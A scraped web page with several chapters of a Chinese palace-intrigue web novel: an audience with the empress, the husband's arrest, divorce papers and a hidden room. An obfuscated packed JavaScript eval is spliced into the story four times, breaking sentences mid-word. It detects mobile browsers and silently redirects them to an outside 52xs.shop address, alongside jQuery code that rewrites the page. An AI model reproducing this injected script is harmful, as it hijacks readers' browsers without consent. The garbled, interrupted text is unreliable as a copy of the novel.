;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473323|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看手中名录,听着柳氏的介绍。 这一次,需要挑选几名在主屋伺候的婢女,和两名备选奶娘。 尽管崔时清认为奶娘人选无须过早定下,但在柳氏急切的目光下,便没有再坚持己见。 在名录里划了几个名字,瞥向面前一张张或熟悉、或陌生的面孔,摩挲着指间的笔杆。 “我记得、以前院中有个叫晚秋的婢子,人呢?” 晚秋,是第一世因嫉恨她欺辱纪危舟,对她下毒的婢女。 她杀过几世,总觉得此人存有古怪,后来便只令人看着她,希望借此找出晚秋毒害自己的真相,但至今依旧没有发现任何破绽。 柳氏说:“郎君挑选离府奴婢时,只要了部分人等,其他大多都留在国公府,没有带出来。” 崔时清的心像是被什么撩拨了一下,刺刺痒痒的,让人不耐。 在她正要胡思乱想的时候,眼神瞥见了奶娘的面色,微蹙眉心,轻声问:“阿姆与他说了什么?” 柳氏知道小主子对晚秋的提防,但她们细细查过,这婢子的身份与往来关系皆无疑。 原本她想着,即便查不出问题,也可发卖出去,免得留下眼皮子底下,惹来小主子心中膈应。 但是这个建议并没有得到认可,她只得掐着鼻子把晚秋留在院里。 离府选人时,她刻意提及晚秋不得小主子眼缘之事,总算借此省去了一桩心头事。 对于这些,柳氏没有准备隐瞒,便如实道:“奴家与郎君说过,主子用不惯晚秋,故而没有提拔。” “原来如此。”崔时清低语着。 纪危舟不识得晚秋的。 听闻这是个无用的婢子,便没有要她出府跟随。 “时娘?”柳氏看着崔时清面色古怪,不免有些忐忑。 崔时清垂下眸子,沉默了片刻,与若兮一个眼神,让她与婢子们退下后,便把手中的名录递与柳氏。 “我欲把春知乡的死士留在身边,其他人皆由阿姆安排。” “怎如此突然?”对于这个安排,柳氏惊讶不已,甚至感到心慌,“难道时娘身边会有危险?” 让死士走上明面,身边多了把匕首,但却少了双眼睛。 这个决定太突然了,柳氏不由不多想。 崔时清攒眉望着远处,院外挂着几盏游鱼灯笼,经过几日小雪的侵蚀,彩绘锦缎有些沉暗,没了最初的鲜活。 冬日便是如此。 湿寒的气候会夺去许多鲜亮的色泽,留下荒凉与败落。 “危险,无处不在。” * 灰衣死士向来以普通无奇,让人辨别不出雌雄美丑,更不会生起探究之心的面目出现。 看着一如既往无声跪在脚边,活在暗处,为她无声死去,连名字都不曾留下的死士。 “我身边需要有人。”崔时清只道。 灰衣死士没有犹疑,卸去了伪装,露出了常年不见日光的苍白面色。依旧普通的面貌,却有一双圆润清澈的杏眸,为容颜增添了几分颜色。 崔时清见过这双眼睛。 上一世,她在被划破的人皮面具下,看到了这双与死士冰冷的气质不相符的眸子,她那时才知道原来一直跟在自己身边的是名年岁不大的女娘。 “叫什么名字?” 死士垂首应道:“属下没有名字。” 崔时清不意外,思索着,说道:“你是崔氏的家生子,崔云霞。” 88. 家人 云霞刚上任,府里便来了位不速之客,皇后的亲信秦嬷嬷。 崔时清心情复杂地瞥了眼神色木然,还不习惯见光的新婢子。 皇后召见。 哪怕是心里再厌恨她,也不可能在此时对她下手。 左右不过是不碰宫里的茶水点心,把云霞带入宫里,崔时清难免会忍不住用她使些小手段,真要碰到宫里的禁忌,不见得可以全身而退。 踌躇片刻,崔时清把显然还没适应新身份的云霞交与柳氏手中,领着若兮入宫。 才刚表完忠心,便莫名多了一名从崔氏主家出来的婢女,若兮正忐忑难安,没曾想到主子的第一选择还是自己。 扫了眼死气沉沉的女娘,若兮把心放回了肚子里,对着脑瓜子不太灵光的同僚弯唇笑了笑,步伐轻盈地跟在崔时清的身后。 云霞:“……”勤快又爱笑的同僚,很好。 在皇后的令牌下,崔时清畅通无阻地进入皇宫内院,见到了志得意满的孟云希。 崔时清来此,是想知道看似距离成功只有一步之遥人,还想对她说些什么,或是还需要她和纪危舟做些什么。 “娘娘万福。”崔时清屈膝行礼,做足表面功夫。 “起身,快快起身。” 这一次,孟云希没有尊于高座。 她斜倚在软榻上,看见崔时清温顺地施过礼,便平易近人地直起身子,如寻常慈爱的长辈一样,招手唤其坐到身边。 崔时清不想和她太过亲密,扯唇淡笑道:“不敢冒犯娘娘。” 孟云希面上的笑容未变,只轻叹一声,没有勉强,与秦嬷嬷一个眼神,后者便令宫女端着绣墩置于暖榻边。 “坐下吧。” 崔时清依言坐下,目光清澈地望着孟云希,浅笑不语,等着她来开场。 “都下去吧,让我们娘儿好好叙叙话。” 看着丝毫不作掩饰的做派,崔时清有些意外,扫向神色间仅有恭敬、不曾顾盼揣度的宫女们,暗叹孟云希驭人的手段。 内殿中的宫婢皆退下,只余秦嬷嬷在门帘处侍立,皇后打开了矮几上的黄花梨百子图雕纹官皮箱,匣盒里装着满满当当的珠串宝钗。 “成婚之日阿娘无法到场,这匣嫁妆陪我多年,今日便转赠你,望你与三郎和和美美、子嗣绵延。” 崔时清安静地看着慈母心肠的孟云希,忆起昌隆兴惨死的掌柜小厮和那场冲天大火,感到极为讽刺。 许多虚与委蛇的客套话都哽在喉间,让她呼吸不畅,连平静的面色都难以维持。 崔时清垂眸道:“娘娘的慈心,让我诚惶诚恐。” “时娘何必与我如此生分?”孟云希凝视着她,眼神里是包容顽皮小辈的温善慈容。 “娘娘难不成是想认下我这个新妇了?” 崔时清的唇角噙着讥笑,本以为可以让孟云希生出退意,但她到底还是低估了皇后娘娘多年披荆斩棘,历练出来的沉稳。 孟云希对先太子存有过爱意,故而因爱生怖。 但除却先太子的影响,前程往事、丢弃的亲子,动摇不了她半分,更遑论是刺伤她? 敛起笑意,孟云希庄重而认真地说道:“三郎本是我十月怀胎生下的骨肉,待日后万事皆定,我自然是要你们承欢膝下的。” “万事皆定?”崔时清忍着狂笑,咬紧牙关问。 孟云希取下髻子上龙凤戏珠宝钗,放进崔时清的掌上,看着她的眼睛开口道:“我们才是真正的家人,只要六郎继承大统,便可一家团聚。” 指腹摩挲着龙凤钗上的东珠,崔时清的眸子里浮现一丝困惑。 一家团聚? 原来她一直都知道纪危舟想要什么。 不愿给予,为的是时至今日当作筹码,来差使这个曾被抛弃的儿子为她铺成一条通往皇权的坦途。 真是、让人厌恶的鼠蚁蛆虫。 “都是您的儿子,娘娘怎么厚此薄彼呢?”崔时清随手把钗子拍在矮几上,神色恹恹的指腹相磨,似是想要抹去指上的脏东西。 孟云希眉眼微动,没有余暇计较她的傲慢无礼,声线柔和地试探道:“时娘应当知道,三郎身份尴尬,怕是不易——” “娘娘是指先太子的名声?”崔时清刻意说道。 孟云希眸光微沉地挪开视线,不想谈论赵虚淮。她端起凉透的冷茶饮了两口,直待呼吸顺畅了,又恢复方才的和气,语重心长说道。 “我不忍三郎遭受非议,再次陷入险境。” “但是,金临台不是有块天石吗?天降神示,他已经陷入危险的境地了。”崔时清蹙眉,犹豫又不安地觑着面前之人。 孟云希承诺道:“此事无妨,一切都有阿娘!阿娘会护着三郎与你,不会让任何人伤害你们的。” 崔时清眨了下眼睛,迷惘地问:“既然娘娘有此手段,为何不阻拦天石之言流传民间?娘娘是忘了?还是、想要夫君为您做什么?” “时娘对我存了误解?”孟云希面上带着笑,心里却有些厌烦了。 看着刻意装作天真的眼睛,她动了一下眉心。 果然,她还是讨厌这双眼睛。 一旦事成,便剜去此女的双目,困于冷宫里,让她与那群疯子作伴吧。 崔时清叹了口气,语气乖顺地说道:“原来是误解,如此我便安心了!毕竟,夫君与我都是死心眼的执拗脾性,要做的、谁也拦不了,不愿走的、无人可以驱赶逼迫。真要与娘娘生出龃龉,夫君怕是要伤心的。” 胆敢伤心?!胆敢给这疯妇掉滴泪珠子,定要让他好看! 孟云希:“……” 她神色不明地盯着面前的女娘子,过了许久,才道:“三郎和六郎皆是阿娘的亲生骨肉,我从无偏私之意的。如今,六郎的身子这般——” “六殿下身体有恙?”崔时清惊讶地问道。 “时娘不知?”孟云希反问。 崔时清自然不可能承认他们与凶徒有关,眨巴眨巴眼睛,无辜又困惑地望着孟云希。 装傻嘛!她也可以! “我从未听闻此事呀?!前几日六殿下不是还与许娘子出游赏景吗?是染了风寒?” “……”孟云希有些腻歪地叹了一口气,说道,“他知道三郎的身份,记挂于心,又不得相认,忧思过重而损了身子。” “原来六殿下这般敬爱兄长。”崔时清讷讷道。 孟云希笑了笑,本想拉过儿媳妇的手,与她相亲一番。但眼睛瞥过那双纤柔无瑕的手指,没由来感到刺眼,便打消了这份心思,顺势拿起矮几上的龙凤钗,装入匣子中。 “走至今日,许多事情皆非我的本意,我与三郎有许多误会,但不论何时,都是血脉相连的母子。”孟云希把官皮箱推向崔时清的方向,意味深长地道,“总归要比其他人来得可靠。” 崔时清心说,这可说不准。 她再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14479858|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯动着发僵的面颊,皮笑肉不笑地慢声道:“娘娘和夫君都是心有乾坤的人物,仅仅是误会,总是可以当面说个明白的。” 她把当面说得略重,言外之意已是不言而喻了。 孟云希褪去了所有的伪装,雍容地斜倚在凭几上,眸光冷寒地轻哂着,“看来你我相处的时日太短,关系是比不得贵妃来得亲厚了。” “娘娘为何提及贵妃?”崔时清故作懵懂地瞅她。 孟云希挥了挥手,单手支着头,淡声道:“希望三郎记得,我与他的生身之恩。”我可予之性命,亦能夺之。 “娘娘乏了,县主随奴家离宫吧。”秦嬷嬷捧起矮几上的官皮箱子,低声道。 崔时清望了一眼闭目假寐的妇人,面色冷沉地转身而去,来到宫门外,纪危舟已在马车外候了许久。 心里的怒气不知被什么吹了起来,顿时拔高了几丈,崔时清从若兮怀中夺过官皮箱,塞进纪危舟的怀中。 纪危舟低头瞥了一眼箱子,交与江南,沉默地跟在女娘的身后,上了马车。 “何必要来见她?”纪危舟叹息道。 崔时清冷声道:“她憋了一肚子的坏,我不来瞧上一瞧,如何能安心?!” 纪危舟:“你这分明是闹心了。” “对了!她、她……” 崔时清也憋了一肚子的坏,但看着纪危舟的眼睛,又不知从何说起,更是张不开嘴说些疯妇、毒妇的恶言。 胸脯上下起伏着,生生把自个憋得面红耳赤。 “软软若是心中不平,随心责骂发泄便是,不必为了外人忍气吞声、伤了身子。”纪危舟轻抚着崔时清的脊背,温声软语道。 崔时清圆睁眸子观察着他的面色,没有吭声。 纪危舟心中微甜,强调道:“不必顾虑。” “……她说、你们之间有误会,她并无偏私,两个儿郎都同样疼爱的。”崔时清直勾勾地盯着纪危舟,企图从他眼中看出些许动容。 但是,黑眸非但没有感动的泪光,反而掠起了浓沉的厌恶。 崔时清长吁了一口气。 纪危舟也没有错过女娘眼中的情绪,一边用温水打湿的巾帕擦拭她的双手,一边问道:“她还说了什么?” “她说的恶心话可多了!”此言脱口而出,崔时清怔了须臾,有些紧张地咽了口口水,瞅着纪危舟依旧无动于衷的面色,语气微弱地嘀咕道,“她想让你记得她的生身之恩。” “原来如此。”纪危舟无悲无喜地颔首。 崔时清一眼不眨地望着他,轻声道:“真的不介意?” “若是我介意呢?”纪危舟抚摸着她的乌发,打趣道。 崔时清深吸了一口气,咬牙道:“她说这些鬼话都是为了让你给他们母子当狗!什么生身之恩!要是你敢任其拿捏,我、我非得打断你的腿!还要!” “还要把我关起来?”纪危舟的眼睛藏着璀璨的星子。 心口上的怒火顿时熄灭,崔时清无语须臾,双颊浮起了两团红霞,啐了他一声。 “你在兴奋什么?!” “一想到软软要把我关起来,日日夜夜盯着我,我便——” “闭嘴,又胡说八道什么了!” “这不是软软的心声?” “烦人。” 崔时清羞恼地枕在纪危舟的胸膛上,指尖和他交缠着,许久、低声道。 “只有我可以欺负你。” 89. 忙碌 驸马许家的军屯贪污案再次被翻了出来。 之前涉事的将领家眷交出贵妃和长公主往来的书信,以其中数句含糊不清的交谈,认定贵妃蔡氏和皇长子赵洛行是这桩案子的幕后之人。 巧的是,勉州刺史亦上奏弹劾皇长子,直指赵洛行在勉州私募军费,豢养私兵。 豢养私兵作何?莫不是意图谋反? 以他嚣张跋扈、目无君父的脾性怕是做得出此等大逆不道的恶行。 贵妃母子不仅利用假道士敛财,还私下与富贾往来,怪不得可以于金玉楼一掷千金! …… 造反之言令人惊骇,京都上下本就风声鹤唳,吏部尚书蔡岐当众被斥责归家时,那股风雨欲来的紧迫更是压得朝堂上的百官不敢喘息。 这是要变天了。 所有人都这么想。 比之焦躁恐慌的人们,纪危舟正淡然地摆弄官皮箱中的首饰。 “主子,娘子又在问你了!”江南瞪着眼睛,瞅着桌案前的人。 指尖微顿,纪危舟拂落龙凤珠钗,看向了江南。 “怎么回的?” “自是说您在国子监了。”回想主母阴沉的面色,指不定又在心里怒骂无辜的魏博士,江南难得感到良心不安。 “时辰差不多,也该归家了。”纪危舟归心似箭地站起身来。 “这口箱子要如何处理?”江南扫了眼案上的官皮箱,心底一阵恶寒。 看不惯儿媳的婆母有许多,但把绝嗣的香药涂在妆匣里,赠予儿媳的却是少之又少。 江南也不知那位娘娘的心窍是如何长的,总归与寻常人不太一样,阴毒又冷血。 好在主子一眼便看穿了这个伎俩,否则留下这口箱子,日久天长不止无嗣,恐连寿数都会有碍的。 纪危舟的眼底掠过浓沉的厌恶,语气肃冷道:“送到栖梧宫,留个条子,便说此物贵重,且留与未来的六皇妃罢。” “把这送到六殿下宫中,他……”会昧下!有了这个条子,以那人的心胸必定会私自昧下这口箱子,指不定还会日日把玩! 绝、主子这借刀杀人的招数还真是一绝! 江南咧嘴笑了,心里颇为快意,甚至口不择言道:“主子有这些手段,还愁对付不了那母子二人,何必以身入局呢。” 纪危舟眸光冷凉,开口道:“我没有耐心了。” 江南不安地问:“若是他们狗急跳墙呢?主子岂不是要落入险境?” 纪危舟垂眸思量了片刻,没有回答,兀自朝着大门走去。 绕到长陵巷买些软软喜欢的粽子糖,她会欢喜的。 * 粽子糖没有让崔时清欢喜。 她双手抱臂,面色冷沉地盯着纪危舟,直把人看得心慌意乱。 “软软真的不要吗?”纪危舟难得心虚地捧起手中的油纸,讨好地笑道。 “不要!我现在吃什么都甜不了心窝窝!”崔时清怒气冲冲地拽过那包东西,砰得一声砸在矮几上,抓着纪危舟的衣襟,瞪着他。 “……”纪危舟忐忑地躬下脊背,与她轻省些气力。 崔时清要的是交代,而不是逆来顺受任由她欺辱也不吭声,因而看到纪危舟这副模样,心中更加恼怒。 反身把人推倒在榻上,凶神恶煞地压制着他。 “你们当真要‘一家团聚’了?!” “不会。”纪危舟望着骑在身上的女娘,眸光幽沉,连呼吸都重了几分。 察觉到那个熟悉的触感,崔时清顿时后腰发麻,连忙挪动身子躲避。行至半途,有力的大掌落在了酥麻的腰穴上,把她揽回了那处崎岖。 盯着阻拦她的双臂,崔时清气笑了。 “你还有这种心思?!” 纪危舟知道崔时清气头上,多半不肯与他。他虽觉得煎熬,但依旧不舍松手,只得瞅着女娘,尴尬而不失无辜地苦笑着。 “软软也知,我一门心思都落在你身上的。” 崔时清冷笑道:“啊?是吗?我以为你是身在曹营心在汉,还惦记着宫里那位娘娘呢!” 纪危舟眨了下眼睛,辩解道:“绝对没有,我与他们算不得家人,团聚一说更是无稽之谈。” “你不是说会处理吗?眼下都什么情况了,你还优哉游哉跑到国子监校书!你是不是故意的!”崔时清连眼睛都气红了。 她对后宫之事并无兴趣,更不想涉入夺嫡之争。 但是不想,并不意味可以独善其身。 孟云希那个疯妇,比她从前还要疯癫狠毒,只怕夺得天下,转手就会料理了他们。 绝不能坐以待毙! 纪危舟环抱着崔时清,心疼道:“都怪我,软软不生气了。” “你知道我想听的不是这些。”崔时清在他胸口捶了一拳,眼神随之冷了下来。 她有些厌恶这样再三闪躲的说辞了。 哪怕眼前之人当真要愚孝到底,也不该继续诓骗敷衍她。 把一切说开,她会不理解,但是也会知道应该如何应对,选择对他们皆好的路子。 纪危舟看到崔时清眼底的失望,心痛如绞。 他何尝不想把一切道明。可是,他们之间隔着的是九世的仇恨,他不敢、也不能把还未发生的事情说出口。 纪危舟紧紧揽着崔时清,像是唯恐一不留神,便会失去她。 “我不允许那些人再把视线落在你身上,必须要让她彻底溃败!时机、时机很重要。” 他也想痛痛快快,亲手斩杀这些人。 但是不行。 他杀不得,便只能让孟云希乘胜追击,使尽所有招数,最后釜底抽薪,一根根拔掉他们的爪牙,让他们再无翻身之力。 如此,才会有真正的安生日子。 崔时清皱着眉头,一瞬不瞬地盯着纪危舟,像是要透过这层皮肉,看清他的内心。 “不能告诉我?”她低声问。 纪危舟抿了抿唇,“我——” “好啊,不必勉强。” 崔时清轻笑着,推开看似牢固的束缚,盘腿坐在纪危舟身边,盯着忐忑不安端详着自己的黑眸。 “我理解!时机嘛!我等着!” 纪危舟张嘴又道:“软软,其实——” 崔时清粗鲁地扯开包裹粽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488314|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子糖的油纸,往他的嘴里连塞了几颗糖,直到纪危舟鼓囊着双颊,再说不出一个字。 “现在想说了?”崔时清微扬眉眼,哂笑着,“可惜,我不想听了。” “……”纪危舟快速咀嚼着坚硬的糖球,争取尽快解禁。 崔时清伸出指尖,散漫地戳了戳纪危舟的,兀自说道:“我会亲眼看着,看你能耍什么把戏,但记得悠着点,勿要栽了跟头。” “……”纪危舟开不了口,只得含着满嘴的糖球,在崔时清唇上啄吻了几下。 不会栽跟头。 崔时清嫌弃地推开他,冷哼道:“在你演完这出戏之前,不许惹我。” 不许惹? 纪危舟连眨了几下眼睛,思量着这句话的尺度。 “我说的是,不许亲、不许抱,连夜里也不许留宿。”崔时清慢声道,说完这话,还对着神色无措的郎君恶劣地扬眉轻笑了一下。 “……软、我,不能分房。”纪危舟如遭雷劈,冒着噎死的风险,生生咽了一肚子的甜腻。 “没有分房呀。”瓷白的手指不紧不慢地整理着郎君的衣襟,崔时清笑盈盈道,“郎君忙于校书,只是暂时歇在书房而已。” “我不忙!今日,我便上书请辞!”纪危舟忙声道,恨不得立刻把请辞书甩在贤文帝脸上。 崔时清嗔怪地斜乜了一眼纪危舟,而后抚了抚他的面颊,语气温和地说道:“你可不能辜负魏博士的苦心。” 我着急时,你不急,现在为时晚矣! 焦虑一扫而空,崔时清总算也有了‘优哉游哉’的心思,玩味地欣赏着天道之子的运筹帷幄。 “我不想歇在书房。”纪危舟挣扎道。 崔时清笑而不语,起身拾掇着衣袂与妆容,忙活了片刻,见纪危舟仍然赖在暖榻上不肯动弹,扯了扯唇角,命人取来披氅。 “软软要去何处?”纪危舟问。 “我与人约了听书。”在纪危舟还要开口之前,崔时清又道,“我知道郎君忙碌,便不邀你同去了。” “我不忙。”纪危舟瓮声瓮气道。 崔时清只当作风声入耳,连眼神都没有再与他半分,边朝外走,边笑道:“江南,你家主子忙得很,扶他回书房去吧。” 纪危舟:“……” “主子?” 纪危舟眼巴巴地瞅着门外,江南眼巴巴地瞅着他。 纪危舟咬牙道:“动手!”他是一刻也等不了了! “啊?!不是、还要过几日吗?!” “再过几日,这间屋子都没有我的容身之地了。”纪危舟幽怨地看着空荡荡的主屋。 “但是您这么乱来,娘子还不知会如何生气呢。”江南心底叫苦。 会生气。 纪危舟抿了抿唇,却是再顾不得其他,对着随从挥了挥手,神色落寞地领他离开。 * 昌黎苑。 说书的钱先生手执醒木,利索地拍案一声,抖开折扇轻挥语落。 “雷霆直指殿宇,巨响之下,烈焰腾飞,狂风怒作,所到之处滚滚热浪,犹如地府冥界万年不息之火海,惨叫声不止。” 90. 跌落 钱先生的故事依旧精彩。 但比起险象环生的话本,真切发生在眼前的事情更能勾动听书人的心。 传入昌黎苑的消息亦犹如烈焰腾飞,所到之处皆掀起滚滚热浪,直到惊堂木再也压不住台下的私语议论声。 “三郎。” “带走了。” “怎又是三郎?” 零碎嘈杂的声音打断了钱先生的评书,也惊动了二层雅座,崔时清蹙眉望向云霞。 后者立即招来伙计询问,伙计识得雅间里脾气暴戾的崔氏县主,蜷缩身子不敢上前。 “堂间在议论什么?”云霞冷脸问道。 伙计面色发白道:“说是、纪国公家的三公子与皇长子有私,被打入刑部大牢了。” 怦得一声,崔时清把茶盏砸在桌上,怒目瞪着门前的伙计。 “你在胡说什么!” “这、是楼下客人亲眼所见,小的、小的不敢胡说。”伙计哆哆嗦嗦地躬着身子。 崔时清倏地起身,顾不上被茶水浸湿的衣袂,双手撑在栏上,目光沉沉地盯着楼下堂间议论纷纷的众人,心中无端涌起了一丝无措。 她轻咬下唇,眼中厉声一闪而过,眉宇间又重新聚起往日的坚毅。 “回府。”纪危舟必定还在里屋里,赖着不走。 崔时清无视左右认出她,投来或是同情、或是讥嘲的目光,沉稳地越过拥挤的人群,离开书场。 江南疾步迎来,低头道:“小的奉命来接您。” 目光扫了一圈,并没有看到那个熟悉的身影。 崔时清语气平静地问道:“他呢?” “……主子,在刑部。”江南慌张地答道。 崔时清轻勾唇角,笑道:“在刑部作什么?何时归来?怎么不亲自来接我了?” 江南的额间突突直跳,在带着寒意的笑声下,和昌黎苑伙计一样,哆哆嗦嗦地嗫嚅道:“主子、在牢子里蹲着,这几日怕是不便……” “哦,不想歇在书房,就跑到牢子里了啊。”崔时清不悲不喜地看着江南。 您猜中了! 江南的眼睛闪了闪,却也不便说破自家主子的心思,便讨好般弯着眸子瞥向了新来的婢子,望云霞可以大发慈悲,帮他说几句好话。 面无表情的云霞:“……” 江南心如死灰:“……” 看着街头暗巷中交头接耳,谈论纪家三郎落难的人们,崔时清不辨情绪地扯了扯唇角。 很好。 第九世了,她算是亲眼看到天道之子跌入尘泥了。 真好啊! 崔时清垂下眸子,暗自攥紧了衣袂下的掌心,片刻之后,松开僵硬的手指,冷声道。 “去国公府。” 江南连忙上前,“娘子不回家吗?”他收到的命令是护送主母归家啊! “回家?”望着城南的方向,崔时清困惑地眨了下眼睛。 他不在,那个地方还可以称作家吗? 猝然,冷冬的寒气钻入肺腑,像是带着刀子,划拉过崔时清的心口,刺得她瑟瑟发抖,连脊骨都透出寒意。 “国公府。”崔时清丢下三个字,兀自上了马车。 厚毡子阻隔了街上的嘈杂,崔时清蜷缩着身体,靠在软枕上。 落雪飞扬,整座都城都陷在了苍茫沉重的白雾中,寂寥又空乏,使人不得捉摸。 国公府门外,安静得让人心惊。 崔时清顿足而立,扫视着暗中窥视的视线,面色冷凝地快步入门,一步未停走向正院,在舅父随从的指引下,来到了茶室。 看着茶案前,垂眸煮茶的纪光,崔时清轻声唤道:“阿舅。” 提着茶釜的手抖了一下,纪光仰头望着外甥女,声音涩然地开口:“时娘不要恨阿舅。” 是他,害了自己的亲外甥女。 崔时清抿唇摇了摇头,坐在纪光的对面,小心取来他掌中烧滚的茶釜。她无心饮茶,只为舅父面前的盏子里斟了八分满的茶水,便把釜子重新放回炉上。 “这场婚事是我选择的,与阿舅无关。” 哪怕外甥女如此说,纪光依旧心存愧疚,佝偻着不再强健的体魄,低下了头。 崔时清也沉默了片刻,问道:“只是因为勉州剿匪吗?他们有什么证据?” 纪危舟和赵洛行本无往来,仅仅因在孤山协同剿灭山匪,怎可被视作党羽,而投入刑部牢房中? 崔时清越想越荒谬,也越想越胆怯。 贤文帝分明是知道了什么,才以这样拙劣的借口,抓捕纪危舟的。 “他不会在乎有没有证据。”纪光眼中含恨。 舅父即便没有直言,但也证实了她的猜想。 “知道身世了?”崔时清神色晦暗不明地盯着沸腾的茶水,眼睛被热气熏得酸胀。 贤文帝会容得下先皇亲封的皇太孙吗? 天道之子又如何,凭什么能赢过天下之主? 她应该相信纪危舟的笃定,明白他是以身做局,但是心中的不安还是如挂在枯枝上的冰雪一样,沉重又厚实地压了下来,让她不住打颤着。 “时娘来时可有注意到府外隐藏的禁军了?”纪光垂目道。 崔时清怔了一下,咬牙问:“陛下要对国公府下手?” 纪光把一个信封递与外甥女,示意她打开。 “这是?”崔时清狐疑地抽出信封中的手书,摊开便看到了合离二字。 “这是你爹娘要的,为的便是今日,与你留下一条后路。”纪光解释道。 崔时清直勾勾地盯着合离书上的签字和印章。 一切都如她最初设想的那样。 所有人,包括天道之子本人都在帮她。 她尽可以让纪危舟彻底失败,从高处跌落,输得粉身碎骨,再以这封合离书摆脱九世的阴霾。 她可以的。 指尖拂过落款处的那个名字,崔时清的心跳得很快,连呼吸都如沸水滚烫。 “他还真是善解人意。”崔时清低语道。 纪光看出外甥女的动摇,他并没有失望,只是有些许遗憾而已。他见过小儿女们眼中的情意,但在这样吃人的世道里,没有适合情爱扎根成长的土壤。 他是遗憾,也是惋惜。 惋惜小儿女们生于乱世,难以相守。 “回去吧。”纪光浇灭炉中的碳火,叹声道:“时娘不必害怕,有了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493352|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封合离书,哪怕是他,也不会与崔氏为敌的。” 崔时清动了动唇瓣,抿唇收好合离书,望着舅父的眼睛,说道。 “阿舅也不要害怕,时娘会保护国公府。” “时娘?!”纪光面露惊愕,见外甥女准备离去,急忙起身跟了两步,“时娘不要冲动!” 崔时清没有言语,对着舅父福身行了一礼,攥紧手中的合离书,隐入了夜色里。 * 雪夜凄寒。 崔时清坐在榻上,哪怕有炭火暖屋,手脚依旧冷得僵硬发木。 “他到底想做什么?”崔时清的语气,也冷得冻人。 “……这、我。”江南支支吾吾半天,也说不出个所以然来。心里懊悔难当,没有在刑部官差来抓人时,跟着主子一起蹲大牢。 崔时清摁着掌下的合离书,指下没忍住用力,把纸张扣得哗啦作响。 她笑道:“很好,我不逼你。” 江南闻言,大大地松了口气。 崔时清又道:“今夜,我要见他。” “这、这,主子在牢子里,恐怕——”江南圆瞪着眼睛,心又提了起来。 崔时清笑盈盈地举起合离书,“我说了,我不会逼你。但是,今夜若是见不到他,晨起之后我便会把这封合离书交到官府。” 江南倒抽了一口凉气。 这不是逼迫,这是要他命啊! “娘子勿急!勿急!小的,这就去安排!”江南连声道。 崔时清满意地点了点头,笑道:“很好,去吧。” “是!”江南一个闪步,冲了出去。 屋子复又安静。 崔时清收起了假笑,面无表情地望着空荡荡的屋子,指尖微蜷,愣怔了许久,才起身。 走到青花鱼缸前,她心如止水地投喂缸子里的金鲫鱼,直到扔下手中最后一块鱼饼,盯着金鲫鱼的圆肚皮神游天外。 眼前发黑了一瞬,崔时清撑扶鱼缸站直身子,缓了片刻,眼神空洞地扫视周围的陈设。 她不知今夕何夕,也不知自己还可以做些什么。 目光落在博古架旁,那幅藤蔓缠枝红梅图上,崔时清的神情有些木然。 他说,他和孟云希母子算不得家人。 他一味认错,却不肯透露只言片语。 他知道生母要对他下死手,所以用这样的方式,把自己作为诱饵,来反击对抗。 “明明说过了,只有我才能欺负。”崔时清望着画中的藤蔓,眼角抽动了一下,所有伪装的平静都随之破裂。 呼吸急促着,崔时清神色阴鸷地盯着这幅画。 指尖微勾,举起博古架上的百子玉如意,遽然砸向了眼前画卷。 飞溅的碎玉划破瓷白的手背,血水顺着指缝滴下,崔时清仿若没有觉察。 画卷订得牢固,没有因为玉如意的击打而摇坠。 她伸手没有染血的那只手,拂过玉如意落下的拇指大小的痕迹,忍不住懊恼地咬着唇瓣。 刚要收回手指,莫名感到指下的触感有些许怪异。 崔时清盯着自己的手指,深吸了几口气,用力一按,轰隆一声。 墙面颤动,缓缓而开。 91. 信任 “为何会有暗室?” 崔时清难以置信地盯着幽暗的入口,心跳如鼓。 迟疑了许久,她提起高脚几上的莲瓣铜烛灯,一星烛光投入浓黑的洞门内,影影绰绰的陈设让人看得不太真切。 崔时清张望着,一点点挪动脚步,越过了这道黑黢黢的暗洞。 门洞内侧的铜烛灯柱亦是落在高脚几上,崔时清的心底闪过一丝怪异的情绪。她琢磨不透,便没有让自己过多沉浸其中,举着烛灯点燃了暗室两侧的灯盏。 